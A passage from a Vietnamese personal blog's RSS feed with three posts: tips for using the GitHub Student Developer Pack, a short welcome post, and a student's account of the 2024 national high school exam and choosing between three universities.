&lt;li&gt;&lt;a href=&quot;https://todiagram.com/&quot;&gt;ToDiagram&lt;/a&gt;, cái này khá hay, mình chưa thử vì không biết nên dùng vào việc gì.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Security&lt;/h3&gt;
&lt;p&gt;Đặt tên category là Security nhưng ở đây tool chủ yếu dành cho các bạn theo DevOps hoặc Cloud Engineer, vài tools trong đây dùng nhiều khi ra doanh nghiệp làm việc.&lt;/p&gt;
&lt;h2&gt;Cách tận dụng Github Student Developer Pack tốt nhất&lt;/h2&gt;
&lt;h3&gt;1. Chọn mục tiêu sau khi tốt nghiệp&lt;/h3&gt;
&lt;p&gt;Bạn có tận năm nhất để học làm đủ thứ rồi xác định hướng đi của mình, tùy vào hướng đi sẽ có:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web Developement&lt;/strong&gt;: Có mấy tool như Figma, Bootstrap Studio hay host website như Heroku, Azure, thậm chí Github Pages cũng là bước khởi đầu của bạn.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mobile Development&lt;/strong&gt;: Tập trung vào sản phẩm của JetBrains hoặc chơi trội hơn thì React Native hay Tauri cross-platform với Javascript (làm ơn đừng).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AI/ML&lt;/strong&gt;: Có chỗ học miễn phí như Datacamp với Microsoft Azure, dùng Azure để chạy model hoặc Google Colab.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud/DevOps&lt;/strong&gt;: Github Action, GitKraken hay Travis CI...&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IoT&lt;/strong&gt;: Arduino thẳng tiến!&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Làm sao để biết mình thích gì?&lt;/h4&gt;
&lt;p&gt;Trong vòng 1 năm học thì bạn làm nhiều project hết mình. Sau đó kết thúc năm thì nhìn lại xem mình đã làm project gì, các project đó có đặc điểm chung là gì rồi đưa ra kết luận. Biết mục tiêu của mình sẽ tốt hơn là sống qua 4 năm đại học mà không có mục tiêu.&lt;/p&gt;
&lt;h3&gt;2. Master những tool quan trọng trước&lt;/h3&gt;
&lt;p&gt;Vì bạn mới vào đại học nên sẽ có tiềm thức đi tìm hiểu và dùng nhiều thứ nhất có thể, đừng! Hãy tập trung vào cốt lõi những thứ sẽ theo bạn cả đời như:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Git &amp;amp; Github&lt;/strong&gt; sẽ là nơi bạn lưu code và làm việc cùng với mọi người&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Visual Studio Code và các IDE&lt;/strong&gt;, bạn dùng nó để code nên chọn cẩn thận, chơi lớn thì NeoVim :))&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nguồn học&lt;/strong&gt; để phát triển bản thân mình.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Bơi vào các trang web dạy học miến phí&lt;/h3&gt;
&lt;p&gt;Theo Web Dev thì có Educative ngon.&lt;/p&gt;
&lt;p&gt;Theo Cloud thì Microsoft Azure Dev Essentials miễn phí.&lt;/p&gt;
&lt;p&gt;Theo AI/ML thì có Datacamp tốt nhất!&lt;/p&gt;
&lt;p&gt;:::tip
Đừng học cùng lúc nhiều quá, trừ khi bạn là siêu nhân. Học từ từ thôi vì bạn có nhiều thời gian.
:::&lt;/p&gt;
&lt;h3&gt;4. Làm project liên tục&lt;/h3&gt;
&lt;p&gt;Sau 1 năm để xác định mình theo gì thì lúc đó bạn sẽ làm project về mảng đó, ứng dụng những gì mình học vào project và đút kết kinh nghiệm học.&lt;/p&gt;
&lt;p&gt;Đi xung quanh, lướt fb hay báo để tìm kiếm ý tưởng, đôi khi những lúc bạn cay thứ gì đó thì bạn sẽ làm ra solution để giải quyết nó. Ý tưởng cơ bản nhất là Personal Website như trang này bạn đang đọc :)))&lt;/p&gt;
&lt;h3&gt;5. Học nữa, học mãi, học suốt đời&lt;/h3&gt;
&lt;p&gt;Tham gia vào các Community như Google Developer Group, Github Campus. Tham gia các câu lạc bộ học thuật cũng là điểm cộng rất lớn trong hồ sơ của bạn.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.linkedin.com/pulse/maximizing-your-github-student-developer-pack-guide-free-himel-ojzwc/&quot;&gt;Hasanul Banna Himel on Linkedin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/copilot&quot;&gt;Github Copilot&lt;/a&gt; vì đã cho thông tin ngày sinh của gói này :))&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Welcome to my personal website</title><link>https://fuwari.vercel.app/posts/welcome/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/welcome/</guid><description>Little about this page</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I took template from &lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;Fuwari&lt;/a&gt; to host my own personal blog website.&lt;/p&gt;
&lt;p&gt;This website is about me and my blog saved here&lt;/p&gt;
</content:encoded></item><item><title>Phần 1 - Mùa thi THPT 2024</title><link>https://fuwari.vercel.app/posts/after-first-year-series/part-1-mua-thi-2024/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/after-first-year-series/part-1-mua-thi-2024/</guid><description>Một mùa thi đầy chông gai và tiếng cười</description><pubDate>Mon, 04 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Đi học thêm và luyện thi&lt;/h2&gt;
&lt;p&gt;Vào mùa thi đại học (THPT) 2024, mình đã bắt đầu đi học luyện thi từ trước đó hơn 2 tháng, chính xác là vào tháng 4 mình đã bắt đầu luyện thi rồi. Marie Curie khi đó hết tháng 5 mới xong chương trình 12, sau đó vào giai đoạn luyện thi thì học sinh Marie Curie đi qua trường THCS Lê Lợi ở Lý Chính Thắng học tạm vì Marie Curie được chọn làm điểm thi cho tụi cấp 2 lên cấp 3.&lt;/p&gt;
&lt;p&gt;Mình hồi đó một tuần 7 ngày thì hết 6 ngày đi luyện thi buổi tối rồi. Tối thứ 3-5-7 đi học toán, tối thứ 4 với sáng thứ 7 đi học Lý, còn trưa chủ nhật là học toán nâng cao, mình đặt hết niềm tin mình vào &lt;a href=&quot;https://thangtienthanglong.edu.vn/&quot;&gt;Trung tâm văn hóa bồi dưỡng Thăng Long&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./thang-long.jpg&quot; alt=&quot;Lớp thăng long&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Ngoài ra trên trường mình những tháng cuối năm được ngồi kế anh chàng BKU chill guy Tiến Thành nên 3-4 tháng cuối ngồi xamlon với nhau và thách đố lẫn nhau những bài toán ảo ma mà chả ra thi, không những thế tụi mình được ngồi cuối lớp nên thầy cô chả quan tâm với gọi tụi mình.&lt;/p&gt;
&lt;p&gt;Mình đã từng nói:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Tôi yêu toán
Từ bé loga, hàm số cho tới bé số phức max min
Đặc biệt là em toán hình
Tôi yêu toán hình
Tôi làm 58 bài trong 5 ngày
Tôi đắm chìm trong cơn nghiện toán hình
Tôi muốn cưới toán hình làm vợ
Tôi nguyện làm trăm bài hình mỗi ngày
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Trong lớp luyện thi&lt;/h2&gt;
&lt;p&gt;Lúc mình luyện thi tại thăng long thì mình rất sợ bị gọi tên lên bản làm mấy bài đại số, đặc biệt là số phức bởi mình chả hiểu gì. Hồi đó mình được lên lớp cao và đi nhanh hơn là &lt;code&gt;12T5A&lt;/code&gt; nhưng mà bị cái là mình chỉ giỏi hình học thôi, còn mấy bài đại số thì randomly 50-50 đúng sai.&lt;/p&gt;
&lt;p&gt;Mình học bị lên xuống dữ dội, có bài hiểu, có bài không, có bài học quài chả hiểu. Khi đó mình hay nhờ anh bạn Tài Smile giờ cũng học BKU giảng dạy cho mình mấy bài đại số, anh bạn đó phải nói là người giỏi nhất lớp đó, kiểm tra nào tại thăng long cũng đều hơn 9đ mà đề thăng long nổi tiếng là khó nhằn và đau đầu.&lt;/p&gt;
&lt;p&gt;Ngoài ra mình cũng học chung với bạn Tài lớp Lý thứ 7, mình xoay tua 2 lớp là T4-T6 với T3-T7 nên mình mới học T4-T7. Lớp T7 là lớp Lý cao cấp mà mình theo học, vào học cũng chả hiểu gì, toàn bị gọi lên mấy bài ảo ảo. Tuy vậy thầy Trung cao tuổi nhưng rất là vui vẻ và tràn đầy tuổi trẻ, có gì khó thì cứ hỏi thầy. Ngoài ra thì có thầy Sang trẻ dạy chung, thầy hơi không thích đùa nhưng không khí vẫn vui vẻ.&lt;/p&gt;
&lt;h2&gt;Dm môn Hóa, Sinh và Văn&lt;/h2&gt;
&lt;p&gt;Do mình chọn theo khối A1 Toán-Lý-Anh nên không học thêm Hóa. Câu chuyện giữa mình với môn Hóa cũng khá là ảo. Mình rất thích học hóa vào cuối năm lớp 10 tới hết năm 11, học rất là căng làm mấy bài toán hóa cũng dễ dàng, thậm chí mình từng suy nghĩ là mình sẽ thi khối A0 Toán-Lý-Hóa. Sau đó hè lớp 11 là bước ngoặt khi mà mình học hóa ở thăng long thì thấy nó chán nản, không còn không khí vui vẻ như hồi năm 11, chắc là do bạn ấy không học chung với mình. Sau đó năm 12 là khoảng thời gian Hóa hủy diệt mình, thầy Hậu Marie Curie hay dí mình mấy bài toán hóa, thâm chí lúc đó mình không biết làm mấy bài toán cơ bản nữa, cứ mỗi lần kiểm tra là alo anh Trọng Nhân hoặc anh Thành để dạy cấp tốc mấy bài siêu cơ bản, thế mà vào làm bài kiểm tra vẫn được 5đ - 5.5đ, ảo vcl.&lt;/p&gt;
&lt;p&gt;Còn môn Văn thì thôi rồi, nát nguyên năm cấp 3, vô làm bài kiêm tra văn cố viết được có 5, 6đ là cao lắm rồi. Chả hiểu sao năm lớp 9 mình viết văn rất dài và hay, toàn 8-9đ không, mà bùm phát xét tốt nghiệp vào cấp 3 xong bỏ luôn môn Văn. Học cho lắm vào xong lên cấp 3 cũng out. Lớp 12 mình gặp ông thầy Thái dạy văn rất tâm huyết, thầy dạy không giống ai, vô bài nào là học sinh không ghi chép gì hết, thầy cứ lên lớp giảng bài với truyền cảm hứng cho học sinh về bài đó, rất hay và rất tiếc là năm đó mình chả học văn chữ nào. Vô lớp văn thầy thì cứ lấy sách toán hay lý ra học, spam mấy bài toán hình ra vẽ vời, thấy biết vì mình học lớp A nên thầy chả quan tâm, chỉ mong là mình đi thi thpt văn trên 5đ.&lt;/p&gt;
&lt;h2&gt;Vô phòng thi&lt;/h2&gt;
&lt;p&gt;Damn, mình đăng ký thi chính xác là 6 môn Toán, Văn, Anh, Lý, Hóa và Sinh, theo khối A1 là Toán-Lý-Anh. Mình gacha môn Văn, Hóa, Sinh nên điểm thi rất thấp (SPOILER: dưới tb hết). Vô phòng thi ngày đầu tiên là Toán Văn, buổi sáng thi Văn thì trong lúc thi mình lại lấy giấy nháp của văn ra ngồi làm toán :))))))))). Chiều thi mới là lúc mình tập trung cao độ nhất, làm bài rất cẩn thận và chậm, rút kinh nghiệm từ các lần thi trước là đừng ẩu và triple check đáp án, 5 câu cuối đánh lụi trúng 3 câu, thế mà ra điểm mấy câu dễ vẫn sai cay vcl còn 8.2đ.&lt;/p&gt;
&lt;p&gt;Hôm sau thi Lý-Hóa-Sinh liên tục 50p mỗi môn trong một buổi sáng. Vô thi Lý rất căng, còn sang Hóa Sinh thì làm 10p, ngồi chơi 40p. Môn Lý đến giờ mình vẫn cay và trách bản thân vãi, làm bài thì toán rất tốt, nhưng đến phần lý thuyết thì sai gần hết, thậm chí lúc đó mình tự làm ra được 1 trên 4 câu khó cuối nhưng mấy câu lý thuyết đánh bay gần hết điểm mình còn 6.8đ.&lt;/p&gt;
&lt;p&gt;Ngày thi cuối thì môn Anh dễ đến bất ngờ, mình làm chill chill vẫn đc 8+ do mình có IELTS 6.5 rồi. Làm 20p xong gác chân đóng bài lại ngồi nói chuyện với mấy cô giám thị :))&lt;/p&gt;
&lt;h2&gt;Hậu sau khi thi&lt;/h2&gt;
&lt;p&gt;Vừa bước ra khỏi phòng thi sáng môn Lý thì mình nói ba mình rằng môn Lý rớt rồi, kiếm trường khác vào, không vào nổi UIT đâu. Ba mình cũng biết và đi cùng cả nhà tìm kiếm trường khác, khi đó nổi lên 3 trường mình cân nhắc vào là VGU, TDTU và FPTU. Bản thân nhà mình muốn mình học trường nào có thể giao lưu quốc tế nhiều nên rút gọn lại còn 3 trường đó. Mình có đánh giá 3 trường thông qua table dưới đây (dưới góc nhìn của tân sinh viên sắp vào):&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;VGU&lt;/th&gt;
&lt;th&gt;TDTU&lt;/th&gt;
&lt;th&gt;FPTU&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Học bổng?&lt;/td&gt;
&lt;td&gt;25%&lt;/td&gt;
&lt;td&gt;5%&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Độ nổi tiếng&lt;/td&gt;
&lt;td&gt;Vô hình, ẩn danh&lt;/td&gt;
&lt;td&gt;Top thế giới :))))&lt;/td&gt;
&lt;td&gt;Tứ đại bổ túc??&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Học phí&lt;/td&gt;
&lt;td&gt;40.900.000đ/HK&lt;/td&gt;
&lt;td&gt;42.000.000đ/HK&lt;/td&gt;
&lt;td&gt;31.600.000đ/HK&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chât lượng&lt;/td&gt;
&lt;td&gt;Không biết&lt;/td&gt;
&lt;td&gt;Nhiều tiến sĩ và phó giáo sư&lt;/td&gt;
&lt;td&gt;Dạy theo kiểu công nghiệp à?&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Thế là cuối cùng &lt;strong&gt;mình chọn VGU&lt;/strong&gt; vì có học bổng và được đi đức :))&lt;/p&gt;
&lt;p&gt;To be continue&lt;/p&gt;
</content:encoded></item></channel></rss>